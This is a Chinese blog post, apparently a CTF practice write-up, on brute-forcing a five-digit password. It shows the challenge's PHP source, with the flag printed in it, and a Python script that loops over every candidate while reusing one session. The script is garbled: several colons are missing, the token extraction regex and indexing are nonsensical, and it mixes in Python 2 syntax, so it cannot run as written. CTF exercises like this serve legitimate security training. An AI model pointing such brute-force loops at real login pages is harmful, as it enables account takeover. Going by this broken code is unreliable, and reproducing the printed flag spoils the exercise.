GJCTF模拟题之python暴力破解网站管理员密码

31 篇文章 1 订阅
22 篇文章 1 订阅

题目地址:http://www.czlgjbbq.top/GJCTF/brute.php

php源码:

<?php
error_reporting(0);
session_start();
if(empty($_COOKIE['f14g']) || empty($_SESSION['token'])){
    $rand_number = rand(10000,99999);
    setcookie('f14g',1);
    $_SESSION['token'] = base64_encode(base64_encode($rand_number));
}
echo "当前session值:".$_SESSION['token'];
?>
    <html>
    <head><title>你能进来吗?</title></head>
    <body>
    <form action="./brute.php" method="GET">
        <input type="text" name="password" placeholder="请输入五位数密码!" value="">
        <input type="hidden" name="check" value="<?php echo $_SESSION['token'];?>">
        <input type="submit" name="submit" value="提交">
    </form>
    </body>
    </html>


<?php
if($_SESSION['token'] == $_GET['check']){
    $password = $_GET['password'];
    echo $password;
    if($password == base64_decode(base64_decode($_SESSION['token']))){
        echo "flag:GJCTF{anjjPONFAkg};";
    }else{
        echo "error!";
    }
}else{
    echo "session error!";
}

?>

根据源码可以看出我们可以固定session值来避免session值的刷新从而避免密码的变更。
所以这里我们使用python脚本,并使用requests.session库来避免session值的刷新以导致后台管理员密码的刷新。

python脚本:

import requests
import re
s = requests.session()
html = s.get('http://www.czlgjbbq.top/GJCTF/brute.php')
pattern = '.html'
ss = re.search(pattern, html.text)
session = ss.group()[1-6]
#print session
for i in range(10000,99999)
    payload = {'password' str(i), 'check' session}
    #print payload
    html = s.get(url='http://www.czlgjbbq.top/GJCTF/brute.php', params=payload)
    pattern = 'GJCTF'
    if not re.match(pattern,html.text)
        pass
    else
        print html.text
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

程序小黑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值